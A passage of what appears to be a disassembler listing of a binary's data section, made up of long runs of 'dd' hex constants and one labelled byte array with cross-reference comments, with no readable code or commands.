5947FA1h, 0BA906B00h dd 17FF4E6Ch, 0AC2D122Bh, 9E0443B6h, 0B8010F1Fh, 88C2779Ah dd 0BED4C9D2h, 288B49B3h, 0BDD4B60Ah, 0C5590097h, 0B81C053Fh dd 58CE6413h, 0AB128E05h, 0FC880280h, 0BC99008Bh, 0B7181C68h dd 0C0003D75h, 0A954F085h, 0FFAB20h, 0F20444FAh, 13A62B8Eh dd 0B3EDA41Eh, 0ECBFF080h, 16FE32Eh, 0E61D90ABh, 0EC2A60DCh dd 0F7004B04h, 0A062E79Fh, 7E032DCBh, 0E56812DAh, 92A44381h dd 303ADB2Ah, 15A40985h, 6424008Fh, 69966D4h, 0E1165CD1h dd 9A00105Dh, 0F0C09148h, 6D9C7h, 0D024EC67h, 11BF9434h dd 986A4500h, 0F2D4D382h, 79C207E7h, 7006AC74h, 0E2C35DB6h dd 4CD01800h, 0FF0A6446h, 0EDDC004Bh, 2FDB1B45h, 8801DF2Ah dd 0E831A56Ah, 0C83004D0h, 1B1700BAh, 42E526C8h, 1D0079D1h dd 1E4CB025h, 1295992h, 6C3185BEh, 0E0EA1C75h, 0B8003D97h dd 8B3F2190h, 984F2Bh, 0E8D7A296h, 0DAC218CBh, 1FEEF60Eh dd 24A3C0FFh, 28480Bh, 0C61D861Bh, 0D43D34Eh, 817F4900h dd 5606FB1Fh, 0E2250004h, 7EF538EDh, 4C0EA12Ch, 0A0B16E65h dd 27BF1274h, 14B5002Bh, 0E58EBA5Ch, 0C2006F50h, 0A28871Dh dd 0D376D9h, 93F6A44Dh, 31A6826Ch, 38235D01h, 9674750Dh dd 26A6824h, 582E4A3Fh, 61E092C5h, 4D0C9156h, 11AFBC78h dd 1BDC00CDh, 8D52DDD3h, 9000A3DFh, 0B588A7C6h, 0B02406h dd 0C2D9C5E2h, 0AD630A9h, 92EDCE00h, 1A478263h, 4BE0205h dd 686B14ABh, 703E5CE0h, 64CAED00h, 652F44A8h, 0EC2800FBh dd 0A4F23DA3h, 0D6006F82h, 4014C198h, 45DF7Bh, 0D2246586h dd 90027A57h, 0E5B91101h, 5D44FEEDh, 48C395D4h, 2E007BABh dd 78CBF1BEh, 70791331h, 0D868DE00h, 439DADE5h, 0A09500A2h dd 0C4D1E8B7h, 2007E44h, 0FDCF264Fh, 0FC3E2Dh, 506CD267h dd 297C0A7Fh, 6F2E5C00h, 0A544D69Ah, 0E5DD0027h, 681CFFE1h dd 0ABB0865Ah, 3F354700h, 1EEDA574h, 51550F0Eh, 0D0A01938h dd 72290861h, 8406DA01h, 76F1FC8Eh, 449CE340h, 0AC7D3AC2h dd 0F6FF790Fh, 1D261Ch, 834CD736h, 0C41C0A45h, 0D50087F9h dd 1904463Eh, 1FC7280Fh, 7A5D00A3h, 533FA50h, 0DB00A66Eh dd 0C13220Dh, 17DC874h, 28330AFh, 0C4B6714Ah, 1C795E2Bh dd 8FB2CF00h, 1728F672h, 23333FBEh, 404BFB00h, 53107C94h dd 0C400EB7Ah, 1EF2E25h, 27E45E4h, 0BDB4E6CFh, 0C560B52Fh dd 0F5033EC3h, 79CE69AFh, 7F27900Bh, 0F21E3CCDh, 4E226D00h dd 0CA882E3Fh, 300BB7Fh, 0BF62E23Ah, 15D5440h, 0C135BE71h dd 0D5DB7C10h, 0D3B8C3F2h, 0D800403Ah, 1417A436h, 0D589F3h dd 84D79764h, 0F807CC6Fh, 0E56C3Ah, 0CF0A4027h, 17BE41h dd 4DFEAAFAh, 37BA4961h, 0DE7C3C00h, 0B58E9815h, 69DA0092h dd 8BC2341h, 2264A73h, 4D000153h, 19037E62h, 251F005Ch dd 0DF700EA2h, 4C0BA02Ch, 0F073A3EAh, 0B90F1E28h, 88E5C02Dh dd 0C1FF4A86h, 5FB6948h, 0FE631789h, 56970800h, 30A6186Ch dd 0E128F32Bh, 6C900325h, 5C1BF200h, 0CC23368Ah, 0ABD0020h dd 0B6859978h, 2500AF26h, 4C3EA0FCh, 696596h, 3C4376CCh dd 46F41BB4h, 0AEE094ABh, 2B09E6A2h, 865902AFh, 561476Bh dd 19E10C99h, 30803FEh, 0B3D89857h, 0A3024ABFh, 186F5688h dd 0CC50A2A7h, 8DB41002h, 5DB53607h, 0C85318Ah, 73891400h dd 6F6542h, 4C9CADD9h, 15E39822h, 30601A18h, 0D8962Ch dd 43D15262h, 94BD65ABh, 207B5E30h, 0E6F8A71Ah, 6D7E0F93h dd 0DF60E185h, 0DEDB63F5h, 62FE5100h, 67C998C8h, 0F2860077h dd 0DDC56B0Eh, 1000BF4Ah, 0A1FDA68Ah, 72E84117h, 7A780145h dd 0E1F07090h, 6F0CF8B5h, 31BF5F00h, 45C173DBh, 250D006Eh dd 24B9A497h, 0AB001AF2h, 0F84265F7h, 2803612Ah, 0E8AC6D8Eh dd 24CA140Ch, 7084C0h, 0F1ECDE0Ah, 12092EEh, 13CF0400h dd 9033A9B9h, 5C394827h, 8695BA00h, 613EDF67h, 0C08B9F00h dd 4BB45E17h, 50D30AD1h, 94DC6A3Fh, 1FC0414h, 0C0D5C528h dd 20768907h, 752676Ch, 0AAC481E8h, 0BC473D6Ah, 54B5D200h dd 62ECFEB2h, 0E9EB293Ch, 22160B22h, 1F22B446h, 216F243Eh dd 4A12D947h, 893A5F10h, 44500873h, 0BC441E3Eh, 80B67E35h dd 9C8042D7h, 818B04F2h, 85112CB4h, 9D7F8090h, 0A307614Bh dd 8D14AC7Ah, 395F1230h, 347D1FDBh, 1797C0FDh, 8449B9Eh dd 1F00D499h, 20C5CBB1h, 91A51E87h, 0D7B7C09Fh, 80B495A1h dd 0E9638F00h, 0C3B6BFCFh, 157B3A18h, 36BD6080h, 0A47A19FEh dd 0E468E103h, 70F8A096h, 92B40019h, 0B5BEF728h, 0DF00F3A2h dd 948C1BC2h, 3BCFA19h, 0F4443563h, 83AD1E79h, 13B84BBDh dd 200F91DEh, 0C0896B98h, 7726CD72h, 0DF1200D0h, 0C7D72D31h dd 800AFDDh, 7FB7F1F3h, 0E4E757h, 0D2843A79h, 0F428CE98h dd 0D7732F00h, 0A0931B13h, 86F00F5h, 617A11D1h, 5D004314h dd 0B6234FE7h, 3D54C71Eh, 5980678Fh, 0F42FDF18h, 754C02F1h dd 0CB6401EEh, 89EE6181h, 0F03AC72Fh, 6BC740FBh, 770D360h dd 0C9F70Bh, 32E0D503h, 0F19A7EFEh, 7A8FA3Eh, 979424C5h dd 9C4D4060h, 0BCE811h, 106795F2h, 0BAF65373h, 4CC348h dd 404C2361h, 0ECADDF76h, 4B7F0F56h, 0EF072D5Fh, 2451007h dd 0F2F80550h, 0A7331707h, 1627FEFDh, 0A4CFE7A0h, 88D0020h dd 4E443C3Fh, 3B00B422h, 39D7817Eh, 3EE9E46Dh, 0CA0BC20Ah dd 8068EB0h, 0BF1F2A19h, 6387A668h, 8FE07F94h, 0E4964BC6h dd 33350086h, 0B3295CC0h, 0D0055C9h, 0F1D37E6Ah, 1FB78A69h dd 0C5A7C78Eh, 0C0DC0CDFh, 0FBD95A2Ch, 0BFB91201h, 21966CB2h dd 6AF360h, 0C1F2FDEBh, 2B3E0893h, 495A901h, 5AB9670Eh dd 18DD024h, 0BED246D9h, 60D67041h, 4C7F1B54h, 3B10F700h dd 8707137Fh, 1ED57B9Fh, 0C80B51h, 656C84BFh, 9B01D3E9h dd 0CC5E7C02h, 1AEC9E34h, 91FD0017h, 57EFBF0Eh, 35769A7Dh dd 75927801h, 43253B1h, 3EF4F034h, 2282560Eh, 7FD083E8h dd 0C4718BE0h, 2F00EDFAh, 0C242D9EEh, 3C02D8FBh, 67806FBDh dd 0EF257C46h, 781DCCB0h, 0DF806B43h, 0D45CC750h, 5095769Ah dd 381B823h, 0AB7560BDh, 4BD009EDh, 240099BBh, 0EB842F8Bh dd 7E6FC6A4h, 30FB6EAFh, 0A18983C0h, 9F0FD42Ch, 1F992F6h dd 0CEDF56EFh, 0C3B0E047h, 4160C2h, 83077965h, 0D7E0547Ch dd 639E9A00h, 0A8F6A170h, 0C2CB001Fh, 0DED4FB97h, 8277BBCEh dd 0D244AB00h, 516EBF31h, 0CBB50099h, 3C342137h, 0CCB25B17h dd 0A0851300h, 0A7F169BDh, 4ECB0C1Dh, 0ED10969Ah, 9B7B8600h dd 900183B0h, 0D2C148E4h, 0C233CB00h, 7A6BEF6Ah, 142AF000h dd 0BD66919Dh, 0E72400D9h, 0EA78B932h, 0D4078BFBh, 0BBE8A073h dd 0AB12E500h, 0F9CF01A1h, 4580518Ch, 0E885C12Eh, 2A1D0A77h dd 3B80F292h, 97ED7D33h, 8044B0B3h, 179098h, 55219C5Ah dd 4053AD5Fh, 580F5DF2h dd 6FF76416h, 607A072h, 231BEEh, 4B953FFh, 0C1212FD3h dd 19A5EA30h, 39F903B4h, 58C89905h, 5F15F616h, 4F8B423Ch dd 0C7409F6Eh, 3A0330F0h, 412D224h, 5DFD888Ch, 289A2D59h dd 2118F1DEh, 185199D0h, 0A8D238E7h, 0C87E6B64h, 1BE1D600h dd 0B19BA9AFh, 0B2EE09DBh, 0EF806F33h, 0C8D549B9h, 6692A00h dd 0C0D80A27h, 4B16007Fh, 536F8AC9h, 6000FA63h, 35748086h dd 0C9BD440h, 31DD236Ch, 0F00F0CF2h, 80E4AEC5h, 7A5617E2h dd 291B00C1h, 6B0267AFh, 8C0339B1h, 9A89D38Dh, 0D598C8F8h dd 748700F5h, 79FCCABh, 58006EBCh, 0EA5EDC9Bh, 9F82136h dd 96AA024h, 95631000h, 7A008D96h, 5A6CF745h, 0CF269D82h dd 84A70D10h, 9253006Bh, 0F100D483h, 0A3F6B51Fh, 7AF8DE89h dd 0D9A1005Bh, 33DD74FFh, 9624AB4Ch, 0A8021043h, 48AB0FAh dd 0A40BC04Eh, 0C7384495h, 0AD8281D9h, 0BB391DC6h, 30704461h dd 8F03044Bh, 0D01A2E74h, 0AEDE3120h, 0F432E10Ah, 0A801C01Bh dd 306E2E6Ch, 2D008C28h, 0E45E3540h, 0E2002932h, 71212707h dd 1F347C2Ch, 0A87E3960h, 161E7BE4h, 40872368h, 0D69AF790h dd 0C600FC16h, 29B5B99Dh, 3A23EC0Ah, 1D809C4Ah, 625E7E0Bh dd 3E038ACAh, 0A99D4BB3h, 0C930007Ch, 0E8941D65h, 85005BA3h dd 521C24FEh, 0ECF007h, 7FB435D5h, 73B10AFCh, 18CE6D00h dd 71FE8DDDh, 5AA30072h, 4B824BAh, 0EA0CEC6Eh, 20B6C068h dd 2EE888h, 0C452A921h, 2BA532BFh, 0BD209F00h, 8FA70CF6h dd 92200DBh, 167206EAh, 0AD00B881h, 94DCD9F2h, 1CFE17h dd 0C7B7CB9Ah, 80935068h, 0BABB4100h, 9D07DE7h, 2B300099h dd 0B94FFE67h, 145D0FEBh, 503BB4h, 5D69BFE0h, 0F0B9FCEh dd 6C9609BBh, 21A89800h, 0D4E43AB9h, 0FF169400h, 0D5DA1142h dd 434B0004h, 460F1FCDh, 72020A63h, 95EE34C4h, 6D54E022h dd 9CCE00A4h, 6E2F2533h, 8078C7B9h, 9A158500h, 380C241Ah dd 75C96BEh, 0D063407Eh, 0D3E35DABh, 45A57000h, 6688E4CDh dd 1A680005h, 0F86CE5A1h, 0DE000AB2h, 9607F07Eh, 0CA4270h dd 0FF70428h, 0D465683Eh, 0E0FAD8E3h, 0C2729E12h, 2EF72C80h dd 0F89467DDh, 0E18D42C6h, 10CD2040h, 0D76C6900h, 62AA84DFh dd 0A51E02ADh, 0AF58D3Bh, 36D90040h, 0BD120D00h, 38B64C1Ch dd 33850096h, 941EA21Dh, 0B30CFAB9h, 5079DD78h, 0BEC70086h dd 96A0F754h, 0DC7AFE33h, 0C8A2ED00h, 0DB63C684h, 0E2EA00B6h dd 71BC6B25h, 4007FF1h, 0C543D6ABh, 0F0DBF6h, 81649FFDh dd 0EDEC6528h, 69004896h, 502DAD4Ah, 35802EE6h, 3C7A036Fh dd 9600B9B4h, 0D37CB638h, 0ACDADDh, 63558C19h, 61A0A15Eh dd 0E5252800h, 0CFF2625Bh, 328B3A29h, 7594E680h, 2A7C4555h dd 0B14BCB8h, 0DBA853h, 8A3E7F8Dh, 364A156h, 0AF315C0h dd 1AF8E981h, 1101DBECh, 0DAC97A0Dh, 74D4F68Dh, 3B080FC0h dd 62003D40h, 36A14D88h, 92E05A18h, 6965821h, 71566339h dd 0C109D82Dh, 602C3266h, 0B284CC44h, 5DE624h, 418BB08Dh dd 5061E782h, 3045F400h, 6251733Eh, 0AEA938D7h, 0DB5CA082h dd 40401A20h, 8200D3ADh, 0FE3743A7h, 0A0C9560Bh, 0DD3DB9h dd 545EDB71h, 15B01FA3h, 0BC00607Fh, 7FBA16AFh, 0F422B9h dd 10A0B3BEh, 31097AE9h, 661E67FAh, 7500CE9Dh, 13A22DDAh dd 58500FDh, 2A5D5E9h, 3400388Eh, 52F29F4Eh, 39C4F8Ch dd 91B43296h, 0FDDA8415h, 82AC4040h, 44535B0Ah, 0CF81CCB1h dd 0B0C8EE24h, 0B879AF43h, 7F0BD5Dh, 0AC4D69D0h, 40BB25E4h dd 3B750CF8h, 9701BEF2h, 57014F7Eh, 0BC202C65h, 0F4AE3D41h dd 46E3AC4Bh, 13C84CA4h, 9040DFB4h, 0B6A9F898h, 200B8982h dd 7A007EE8h, 0A78826FFh, 1A1C3F9h, 25B87DACh, 202D770Dh dd 7E027F4Dh, 6B44C61Dh, 1847935h, 309B18F8h, 38FE80A7h dd 4ECF7F06h, 3DD00F4h, 82BA4B1h, 9800D843h, 0C38E737Ah dd 0F7598816h, 1F2320E8h, 407DE65Ah, 6C5ECAD6h, 921C561Ah dd 0CCA8FDACh, 84A21213h, 11069003h, 9D249004h, 788C0020h dd 4FF3361Dh, 3E00D8B0h, 0F0F29E4Ch, 585FB49Ah, 7CC24Eh dd 99FFD66Dh, 783BF6CEh, 680FA100h, 0A22C2D88h, 0A7010082h dd 0C19DC887h, 160F8B4Eh, 22BF6BCAh, 48FBFE52h, 77B42954h dd 0A61001D1h, 9C8E8472h, 796EC0B0h, 53D6D900h, 75F6239Ah dd 39731CE8h, 9D2B800Fh, 503A8289h, 9C70C00h, 0B9B05A98h dd 0EB1B00ABh, 0B79DF776h, 0B57F301Eh, 4224D300h, 59152E38h dd 0AE5A00B1h, 99CFD27Eh, 400F90E9h, 20EE665Bh, 0B4024C8Eh dd 0A61A0042h, 9FB5E41Fh, 36E4FD29h, 0FF4DA33Bh, 7C9573Bh dd 1B712CCh, 0D0F77CB3h, 3F5942Bh, 1B892670h, 44B0247Dh dd 7300198Ch, 991FBD98h, 37951Ch, 4C2D6D14h, 0B65C4990h dd 74311D00h, 2A3ADA7h, 4BDB00C5h, 0E46233A8h, 2500F5D7h dd 93AFCC1Ah, 78B1851Dh, 1E95004Dh, 7D1C405h, 197B5532h dd 34B26300h, 62C30E5h, 592F079Dh, 0D06E5A86h, 0BC4AAD45h dd 6F6A6000h, 9B054D64h, 0A4B0038Ah, 0FEBD76CDh, 0AC98FAA3h dd 3800996Ah, 48349E94h, 0F4D30116h, 3A24DEFh, 5E87BA00h dd 0A80C3B0Eh, 1422CE0Eh, 1C9DE0E8h, 2142B2h, 0CF121E6Ch dd 0F2BC98DDh, 78265307h, 8C30550Dh, 7B560Ah, 315449ACh dd 29626F05h, 0D4A62007h, 0EB538677h, 3022A19Ch, 7BAF6DCh dd 421802ACh, 8B0E206Fh, 0FA398AFDh, 85278975h, 1CC30004h dd 1EA5B2AAh, 4036FF93h, 0EF0250C7h, 0AF000146h, 8CE63A69h dd 7D74C1h, 0FE4B67EDh, 0D9FF851Bh, 2ACAB100h, 7269550Ch dd 2C6872CDh, 3FE7461Ah, 4D8AEF00h, 95BDE460h, 0BE393C06h dd 11887Ch, 0F4101B65h, 1149DD2h, 0B55A1C0Fh, 455FC032h dd 77270618h, 0B3880779h, 0B00B639Dh, 0DB3BB4CFh, 0A195F8C0h dd 3F625A3h, 2F87E74Bh, 0EB04C9Bh, 0DC00CED5h, 79F19752h dd 150B1FA8h, 18A6E52Bh, 4FD54D80h, 0FA19CC4Eh, 42184A7Bh dd 52ACD8h, 0C4BAF059h, 63169F5Ah, 0EF736EFAh, 0EB68B903h dd 0F835522Ch, 7F72A21h, 0BDB4B714h, 0B2F80FDh, 0AA00611Dh dd 63A7764Ah, 0F38F44h, 0C5E5136Bh, 0FEDA4B9Eh, 0A869D601h dd 0A20FEE96h, 0CFBC30h, 28E0EBDFh, 1112DB32h, 0FA90CA02h dd 40FB5CAEh, 4AFD6Ch, 5D92F722h, 45962D03h, 0BB30BF00h dd 772BB7B4h, 683A0043h, 0C8557A34h, 0E8004B42h, 597511Fh dd 719EE7Ch, 5C9FE627h, 0BF2A9008h, 2100034Dh, 0CE8BB96h dd 756E3624h, 0ED4617B4h, 8C650009h, 0D41C87ACh, 3F00FC78h dd 578617EAh, 59A79Eh, 40233666h, 0FB011AFh, 1D2AF407h dd 0B7A055DDh, 6CB2A8h, 0A7D55A65h, 34A339E1h, 0E7BEED0Eh dd 0EFC0E00Dh, 0FAF6B9FFh, 0C1EC1354h, 0F95500F0h, 3DFA9394h dd 3E5B5E00h, 0F3734A9h, 0B51B007Ch, 0ED1E2B91h, 93E8BD1Ah dd 384E800h, 0C36C5B3Ah, 576D00EBh, 8AF74BDEh, 0BD00C4D3h dd 0CCFDED81h, 271F2Ch, 11C7F406h, 649B9856h, 2A32E300h dd 173F50C4h, 0D155010Fh, 6A133A0h, 0E8B820ADh, 8354Ch dd 961D5129h, 0F94FF64h, 0CBD4B02Dh, 378A28A0h, 90795CE9h dd 9FF33A3Eh, 8200DE7Ch, 4DBB0B36h, 3F851EE8h, 0B5B24039h dd 0E29991E3h, 7120FA4Dh, 0BB303273h, 0AA346A20h, 3A850180h dd 1078E02Dh, 0A4F8C7B7h, 550031ADh, 0B67A9996h, 77F951h dd 683DE08Dh, 0B9368B0Fh, 3F766F00h, 6C20D0D8h, 985E0E3h dd 81B7F3C3h, 0A9BDE803h dd 0DB287B98h, 0F601B8F8h, 56456DE8h, 0AAFCD4D6h, 86AC2E85h dd 0AF1F0017h, 0F349CA14h, 3607BC90h, 0D82F8AD4h, 0CE658F00h dd 48760FE1h, 0B700FBD7h, 7114C511h, 24B3B93Eh, 9300345Dh dd 36E0FAD1h, 0C171F12h, 0FF0E407Ah, 2A34439Dh, 0A9C8C300h dd 92139839h, 6993001Ch, 37117854h, 9B0F03D6h, 0A0803D77h dd 443F0DF2h, 0E98800CCh, 92ED407Dh, 0FEED1E61h, 57B0CC90h dd 2F12AF12h, 6B790402h, 0CE66C0F0h, 0EB4D0078h, 90D86AB7h dd 0B6008AB3h, 8D65BD74h, 3895046Ch, 3180E43Eh, 0B955308Eh dd 0C50FE0A3h, 20473A80h, 96D165A2h, 86E900D8h, 1A22CCAAh dd 0B4004ADAh, 84A05711h, 129B77h, 17E4D7BBh, 5E0A6979h dd 3DEE5C03h, 886EC895h, 3B342E15h, 6B80BD55h, 0E3F39E53h dd 8001EC1h, 0ADD4AB9Ch, 309AC71Bh, 24D19388h, 7814F74Eh dd 1C408E9h, 0E29B1C6Eh, 71F0A32Fh, 0F10A00EAh, 60ED8AE5h dd 780786C2h, 444B4E13h, 7DFBA00Fh, 5015FCh, 1FC894E6h dd 3DB9B7E1h, 93843600h, 0B6BA32E7h, 57351C1Eh, 20720D7h dd 2B63D103h, 0B0437EB5h, 0E8D56D56h, 1CFDB379h, 2CCE899Eh dd 47BC0048h, 72AB6C33h, 8F3C5B18h, 0EEA463A8h, 209292h dd 27451E15h, 2B447665h, 2814A91Fh, 80BE630Fh, 58C83BD1h dd 3A3F0067h, 1E7D0E72h, 400335A4h, 9C065FC7h, 0B802E042h dd 0AF6E338Bh, 0C800798h, 10013F49h, 0BA377BC0h, 25F0FE24h dd 0CC840520h, 0A55BACh, 92950E48h, 5DF8B483h, 0E581B01Eh dd 77540580h, 59337BCFh, 30AB04Dh, 80B8659Ch, 2B423C7Eh dd 0AC00B518h, 4DE47C28h, 0C53AC0h, 566ECD4Ah, 0B99A91ECh dd 27C39F00h, 0CFA92190h, 2F5D008Fh, 66E10918h, 9D00481Eh dd 2EFA36F8h, 0F073863Dh, 63170049h, 5C7555F1h, 0A300AEFCh dd 4EC29715h, 962A02h, 88938E17h, 0ABDF670Fh, 0F6CDE500h dd 0AE29AD5Eh, 0F8AC0521h, 9F3ED5h, 8EC9B7E2h, 0AD00EA3Ah dd 6FE5683Ch, 0DA0A19h, 81415BF7h, 8F1863D5h, 9E56A201h dd 0EE483CE9h, 0F1F6DE4h, 64AB477Bh, 27837D40h, 0A400164Dh dd 1790E572h, 0D7EF18h, 0D6F97EFDh, 0F55B846Ch, 9821BA05h dd 980161E0h, 438A344Dh, 0BC50A454h, 0FB1CE004h, 1E28C0D8h dd 0F93FF5BBh, 93AEC414h, 0D58A00ACh, 1CFBFFACh, 678C038Eh dd 57F61D72h, 44FA2939h, 927344A9h, 22687B20h, 46504290h dd 0EC44F128h, 0DD14A0A6h, 92204063h, 85DE2284h, 0A5E410EDh dd 0BC44009Ah, 0DF8F3AB9h, 0C4B02DBFh, 0D10050F0h, 1A2B9807h dd 0A0BE57h, 7EC5D706h, 1FA274EBh, 0DC6EC400h, 0BCCC4CD9h dd 0AD04075Ah, 10DB9067h, 0A3387AD4h, 5922D307h, 0C0BE7D47h dd 94D043E8h, 0AE8602BDh, 5D21198Dh, 1D64ECC0h, 1FA39540h dd 8FA827E2h, 0C6A38E07h, 2100EE52h, 18DF3B4Fh, 151408C7h dd 0D003E5BBh, 37DEBD00h, 0F4C81A67h, 0DDCB0400h, 73C3F0A2h dd 63440E0Ch, 6FE69C3Bh, 0E4FAAE7Eh, 64798A00h, 0B04F545h dd 0B1A20055h, 486E9DACh, 0CF245446h, 4E83F4E3h, 0F0A2EA58h dd 0E20CD0B9h, 387C35h, 0E15BB1C7h, 0F74D3A0Dh, 0B576FA1Dh dd 1100F0ECh, 0D31E1A12h, 0B1EA00A2h, 4195128h, 0A07F5460h dd 0ECA3C903h, 0A8A59A0Fh, 77977Ch, 96E0594Eh, 1F6C3CE2h dd 87D7D100h, 0D07CAD29h, 1DC77CBh, 0A52C5543h, 70547ACCh dd 0CDF046DCh, 397B91F8h, 0D80EC22Ch, 83A0E600h, 18315CA1h dd 1990EAF2h, 8705EED9h, 5310BCB7h, 6A33DC80h, 0F79E00C3h dd 0C9690E93h, 0A70081DAh, 0CE3964F1h, 233F515h, 0C72C7452h dd 6A40186Bh, 0D4B0B05Ch, 65FDFF00h, 37912812h, 0E134009Eh dd 0CF645FBBh, 0A1003E4Fh, 924AB013h, 5AF1DF6h, 0E3D17D71h db 4 byte_520045 db 0, 0DCh, 14h ; DATA XREF: ___:004385A0o ; ___:004385B8o dd 5C976EA3h, 8FA4D40Fh, 0F884F3Eh, 0F60937h, 73B12B41h dd 9D3300CFh, 10A847C8h, 52FE23E9h, 535FD600h, 5921CC69h dd 0EB010B83h, 0C000C59Bh, 0A55284D8h, 0AEE09494h, 1A6F57h dd 0F8E2D786h, 94D19FA4h, 0D9317713h, 0E07211h, 0AD3E4082h dd 160F51Dh, 0D39D88A9h, 2401A429h, 2C00A830h, 0DA16A3C3h dd 0C25532h, 0B5670907h, 269E237Eh, 47E89F1Fh, 40FA80BBh dd 0C8AD0E2Fh, 6C5D00E2h, 94B211A9h, 904CA085h, 1F78091Ch dd 629821D4h, 7EF9DCDAh, 7915FDD4h, 0F7E60076h, 80CAF557h dd 0F0001069h, 7B0A3D1Eh, 2715FBA6h, 1F60E6B0h, 9A009218h dd 9374637Ah, 78D16236h, 0E2C300C6h, 0FB511A33h, 961C0167h dd 28010E8Fh, 3C0B23ABh, 5382CCh, 184354Ah, 0B313AACFh dd 9A197E00h, 82029BE9h, 116B0F25h, 0F640206Eh, 0F350B5F8h dd 59CA7209h, 319800D4h, 0B788E7Fh, 0D82D532Ah, 79E4A080h dd 0E312521Dh, 680013E2h, 14128CEEh, 85700042h, 7FB4A821h dd 442C5007h, 0FB0A3679h, 990EFB5Eh, 2C0093B3h, 0AC544188h dd 0A6D60148h, 397CF4A1h, 68FF082h, 4720DE00h, 0A30A532Fh dd 190900B5h, 9BE0E172h, 3D00298Ah, 0BBB46C0Dh, 12F75B24h dd 817006h, 8AFDE92Bh, 2B003936h, 5A720D6Ch, 416407h, 0D291A060h dd 77BF2E27h, 0EF60807h, 49436602h, 618192FEh, 0D82994FCh dd 28B4C202h, 24400C42h, 2C9010FBh, 85A13C04h, 7CC0B572h dd 27F0111h, 16679364h, 70607BE3h, 2E000313h, 921B0754h dd 0E1D529BBh, 8DD8101h, 0CA6C3CFCh, 7D02DA00h, 31F10C3Dh dd 999A5500h, 0B489A614h, 0B754094Ah, 908091D2h, 104FE2CAh dd 1E09E303h, 130E888Bh, 0CCF32F0h, 5040F0DBh, 0B42D8609h dd 7A91A0B2h, 0F2C44E3Bh, 0EB9800DDh, 6A03833Eh, 0D00035B8h dd 0ED814D1Fh, 652E90h, 0FFA7746Fh, 4751CE7Ah, 0BB21E403h dd 0E0F5DAAEh, 0E095BD07h, 1DE27799h, 40F43E98h, 128F0D69h dd 6A0E51B8h, 628962BDh, 55994657h, 50E4C640h, 31493Fh dd 9C52D4C7h, 0C115A4h, 0D2FCAA43h, 9D65B986h, 8EBB5B03h dd 0B0E98C99h, 0B30C14h, 23810EDCh, 0F183879Bh, 8C55A300h dd 7D0A9579h, 0B05490D6h, 0C5B51C86h, 0A5817C3Dh, 0AE303E5Dh dd 1FCCE43Ch, 5178709h, 1BCB079Bh, 0F7495E70h, 223E47Ch dd 5C9912A2h, 7460CC5Dh, 2C128475h, 540033E8h, 7FB9FD54h dd 6AFC60h, 81725F67h, 0D7DEA34Ah, 0AC73B07Eh, 565DEE04h dd 50801D3Dh, 0F21120Ah, 0E79C6387h, 7C37F5E0h, 46009DADh dd 0A1225E16h, 1E6E3C09h, 40317588h, 0EF19BE45h, 0EC98489Ah dd 4CC24700h, 844DBF21h, 0CE6500E2h, 0AE11F601h, 0E0007149h dd 19065534h, 727F7B91h, 8B2B006Ah, 96CC66E6h, 0A40062AEh dd 1A50749Dh, 0F4DEB8E1h, 0F18500E2h, 30AB9BCAh, 0EE00FA55h dd 0FC9F5097h, 95046Ah, 403B80D6h, 0EDABB971h, 0D2006B90h dd 8EEFC105h, 4869AD82h, 7E01A07Ch, 4A8F30B4h, 6A108995h dd 0B021009Eh, 0C8FFD4h, 12C2D206h, 4887D377h, 0C9B5140Ch dd 9B7869h, 1344393Ah, 0B35F5E97h, 6C74F51Ch, 6B208A98h dd 5039002Ch, 251F0248h, 0A800B22Ah, 0E1DEB065h, 6F6003h dd 390CCB18h, 55951BE3h, 0D48F0B00h, 0BC6796E9h, 4BDCBA46h dd 4FC0235Dh, 0F698F7F8h, 0BFF23200h, 0AEAB6906h, 27DA0192h dd 2C5B8C79h, 482CE3h, 0FDB38BF8h, 0AF2734Fh, 5B229C19h dd 0CD1B00D8h, 513B17C3h, 0F126B11Dh, 4441E11Dh, 5B164B43h dd 76649056h, 724601AFh, 0B8563BB7h, 2D582405h, 6C91FA00h dd 0CDB135A3h, 45D90FC5h, 5F01A66Dh, 0C0AF9687h, 0F70EFE63h dd 40A5714Fh, 0A60B412h, 342A003Ah, 9E44F424h, 9C081109h dd 0F3592C4h, 0AD2566BCh, 0E408CD3h, 0E9880A00h, 835D36BEh dd 5DF0071h, 3A32AC1Ah, 8E00F8CBh, 65ADAEAFh, 3F51CA39h dd 0A4007F2Fh, 0F826294Dh, 8D00852Eh, 8CFCA190h, 0B0FAFF67h dd 6C2F0094h, 23D443Fh, 0E013EB09h, 920E7C27h, 0D56DA004h dd 0B5A055h, 8B16B018h, 5759FFAAh, 3900CA7Eh, 0D5445483h dd 3955A6Ah, 582EF012h, 80ED1B45h, 0A961DBA4h, 0E40C8A00h dd 71DCA2C0h, 73A601AEh, 26236E35h, 0A354ECCBh, 0AFBC9806h dd 16F9AAC2h, 0AD88F7h, 6746EEB8h, 0FB3E09EBh, 9D6E0075h dd 0BD7CA2BCh, 2BC20F7Dh, 0CC6EE57Bh, 713DC327h, 2049F508h dd 7400C458h, 831E271Dh, 0E15C7Ch, 45549551h, 0B52EA76Ch dd 0BA06CA00h, 68A51727h, 0EB9D000Eh, 45AA87D5h, 405C307h dd 0B3DE601Ch, 7F6024C7h, 2D3306h, 0A4D8FF16h, 0C446B1A6h dd 60634D00h, 2CD41E9Fh, 9EEF1DB8h, 4824808Ah, 4A1C3176h dd 4C3648h, 7A5366C4h, 488D5CC7h, 0CC2C2710h, 9C3D0B50h dd 0D0BA2F80h, 0AF020216h, 15CD8EF7h, 4B6060F9h, 0C12A000Ah dd 0DD230309h, 0B916D10Fh, 4C00FCF8h, 0BE0CBF51h, 7860592Ah dd 4E2E1500h, 4CB613Eh, 5D076C98h, 1ECEC377h, 5501E0CFh dd 3302416Dh, 4D2007ABh, 0E71C9A88h, 0A8630F09h, 0FFDF07D8h dd 4F213ED0h, 6DDF3DBFh, 0B661AF82h, 0E480700Dh, 49F2F8C8h dd 14540E03h, 0B903316Dh, 3EE0B4ECh, 21F0766h, 41884F20h dd 0F0181A90h, 5B7C35A4h, 650D7300h, 42E481C1h, 44792C8Bh dd 0A7E90005h, 187AD5E1h, 800CC938h, 289AD63Fh, 0E41549EEh dd 0F8961268h, 0DC1ECCh, 0E5169C58h, 0A9001381h, 0DAF184EDh dd 0D89CB39h, 8530A0D0h, 0BA8C05B2h, 0B7FA7AC0h, 7238099Eh dd 83015668h, 0C70EB5A6h, 986FC0B7h, 0CF264FE0h, 150022BFh dd 0DEAFC93Ah, 82D9A06Dh, 2D3E00AAh, 0DF20E19h, 920038A7h dd 2A700349h, 121DD520h, 75D898Dh, 